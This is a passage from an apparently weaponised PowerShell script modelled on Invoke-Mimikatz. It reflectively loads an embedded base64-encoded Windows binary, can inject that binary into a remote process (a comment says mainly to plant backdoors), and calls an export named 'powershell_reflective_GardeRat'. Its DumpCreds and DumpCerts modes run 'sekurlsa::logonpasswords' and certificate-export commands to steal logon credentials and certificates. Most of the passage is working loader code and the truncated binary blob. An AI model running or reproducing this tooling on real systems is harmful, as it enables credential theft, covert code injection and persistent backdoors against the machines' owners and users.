  2400.             $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
  2401.             if ($Success -eq $false)
  2402.             {
  2403.                 Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
  2404.             }
  2405.         }
  2406.        
  2407.        
  2408.         Function Main
  2409.         {
  2410.             $Win32Functions = Get-Win32Functions
  2411.             $Win32Types = Get-Win32Types
  2412.             $Win32Constants = Get-Win32Constants
  2413.            
  2414.             $RemoteProcHandle = [IntPtr]::Zero
  2415.            
  2416.             #If a remote process to inject in to is specified, get a handle to it
  2417.             if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
  2418.             {
  2419.                 Throw "Can't supply a ProcId and ProcName, choose one or the other"
  2420.             }
  2421.             elseif ($ProcName -ne $null -and $ProcName -ne "")
  2422.             {
  2423.                 $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
  2424.                 if ($Processes.Count -eq 0)
  2425.                 {
  2426.                     Throw "Can't find process $ProcName"
  2427.                 }
  2428.                 elseif ($Processes.Count -gt 1)
  2429.                 {
  2430.                     $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
  2431.                     Write-Output $ProcInfo
  2432.                     Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
  2433.                 }
  2434.                 else
  2435.                 {
  2436.                     $ProcId = $Processes[0].ID
  2437.                 }
  2438.             }
  2439.            
  2440.             #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
  2441.             #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
  2442.             #       if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
  2443.             #       {
  2444.             #           Write-Verbose "Getting SeDebugPrivilege"
  2445.             #           Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
  2446.             #       }  
  2447.            
  2448.             if (($ProcId -ne $null) -and ($ProcId -ne 0))
  2449.             {
  2450.                 $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
  2451.                 if ($RemoteProcHandle -eq [IntPtr]::Zero)
  2452.                 {
  2453.                     Throw "Couldn't obtain the handle for process ID: $ProcId"
  2454.                 }
  2455.                
  2456.                 Write-Verbose "Got the handle for the remote process to inject in to"
  2457.             }
  2458.            
  2459.            
  2460.             #Load the PE reflectively
  2461.             Write-Verbose "Calling Invoke-MemoryLoadLibrary"
  2462.            
  2463.             try
  2464.             {
  2465.                 $Processors = Get-WmiObject -Class Win32_Processor
  2466.             }
  2467.             catch
  2468.             {
  2469.                 throw ($_.Exception)
  2470.             }
  2471.            
  2472.             if ($Processors -is [array])
  2473.             {
  2474.                 $Processor = $Processors[0]
  2475.             }
  2476.             else
  2477.             {
  2478.                 $Processor = $Processors
  2479.             }
  2480.            
  2481.             if (($Processor.AddressWidth) -ne (([System.IntPtr]::Size) * 8))
  2482.             {
  2483.                 Write-Verbose ("Architecture: " + $Processor.AddressWidth + " Process: " + ([System.IntPtr]::Size * 8))
  2484.                 Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop
  2485.             }
  2486.            
  2487.             #Determine whether or not to use 32bit or 64bit bytes
  2488.             if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8)
  2489.             {
  2490.                 [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64)
  2491.             }
  2492.             else
  2493.             {
  2494.                 [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
  2495.             }
  2496.             $PEBytes[0] = 0
  2497.             $PEBytes[1] = 0
  2498.             $PEHandle = [IntPtr]::Zero
  2499.             if ($RemoteProcHandle -eq [IntPtr]::Zero)
  2500.             {
  2501.                 $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs
  2502.             }
  2503.             else
  2504.             {
  2505.                 $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle
  2506.             }
  2507.             if ($PELoadedInfo -eq [IntPtr]::Zero)
  2508.             {
  2509.                 Throw "Unable to load PE, handle returned is NULL"
  2510.             }
  2511.            
  2512.             $PEHandle = $PELoadedInfo[0]
  2513.             $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
  2514.            
  2515.            
  2516.             #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
  2517.             $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2518.             if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
  2519.             {
  2520.                 #########################################
  2521.                 ### YOUR CODE GOES HERE
  2522.                 #########################################
  2523.                 Write-Verbose "Calling function with WString return type"
  2524.                 [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "powershell_reflective_GardeRat"
  2525.                 if ($WStringFuncAddr -eq [IntPtr]::Zero)
  2526.                 {
  2527.                     Throw "Couldn't find function address."
  2528.                 }
  2529.                 $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr])
  2530.                 $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
  2531.                 $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs)
  2532.                 [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput)
  2533.                 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput)
  2534.                 if ($OutputPtr -eq [IntPtr]::Zero)
  2535.                 {
  2536.                     Throw "Unable to get output, Output Ptr is NULL"
  2537.                 }
  2538.                 else
  2539.                 {
  2540.                     $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
  2541.                     Write-Output $Output
  2542.                     $Win32Functions.LocalFree.Invoke($OutputPtr);
  2543.                 }
  2544.                 #########################################
  2545.                 ### END OF YOUR CODE
  2546.                 #########################################
  2547.             }
  2548.             #For remote DLL injection, call a void function which takes no parameters
  2549.             elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
  2550.             {
  2551.                 $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
  2552.                 if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
  2553.                 {
  2554.                     Throw "VoidFunc couldn't be found in the DLL"
  2555.                 }
  2556.                
  2557.                 $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
  2558.                 $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
  2559.                
  2560.                 #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
  2561.                 $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
  2562.             }
  2563.            
  2564.             #Don't free a library if it is injected in a remote process
  2565.             if ($RemoteProcHandle -eq [IntPtr]::Zero)
  2566.             {
  2567.                 Invoke-MemoryFreeLibrary -PEHandle $PEHandle
  2568.             }
  2569.             else
  2570.             {
  2571.                 #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process
  2572.                 $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
  2573.                 if ($Success -eq $false)
  2574.                 {
  2575.                     Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
  2576.                 }
  2577.             }
  2578.            
  2579.             Write-Verbose "Done!"
  2580.         }
  2581.        
  2582.         Main
  2583.     }
  2584.    
  2585.     #Main function to either run the script locally or remotely
  2586.     Function Main
  2587.     {
  2588.         if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
  2589.         {
  2590.             $DebugPreference = "Continue"
  2591.         }
  2592.        
  2593.         Write-Verbose "PowerShell ProcessID: $PID"
  2594.        
  2595.        
  2596.         if ($PsCmdlet.ParameterSetName -ieq "DumpCreds")
  2597.         {
  2598.             $ExeArgs = "sekurlsa::logonpasswords exit"
  2599.         }
  2600.         elseif ($PsCmdlet.ParameterSetName -ieq "DumpCerts")
  2601.         {
  2602.             $ExeArgs = "crypto::cng crypto::capi `"crypto::certificates /export`" `"crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`" exit"
  2603.         }
  2604.         else
  2605.         {
  2606.             $ExeArgs = $Command
  2607.         }
  2608.        
  2609.         [System.IO.Directory]::SetCurrentDirectory($pwd)
  2610.        
  2611.         # 2.1 (x64) 20161029 OJ Edition!
  2612.         # SHA256 hash: C36572664731F058A282FA6F943E48FE80646F6613C3A46F3EEE1F4A121B2158
  2613.         # VirusTotal Analysis: https://www.virustotal.com/en/file/c36572664731f058a282fa6f943e48fe80646f6613c3a46f3eee1f4a121b2158/analysis/1478821040/
  2614.         $PEBytes64 = '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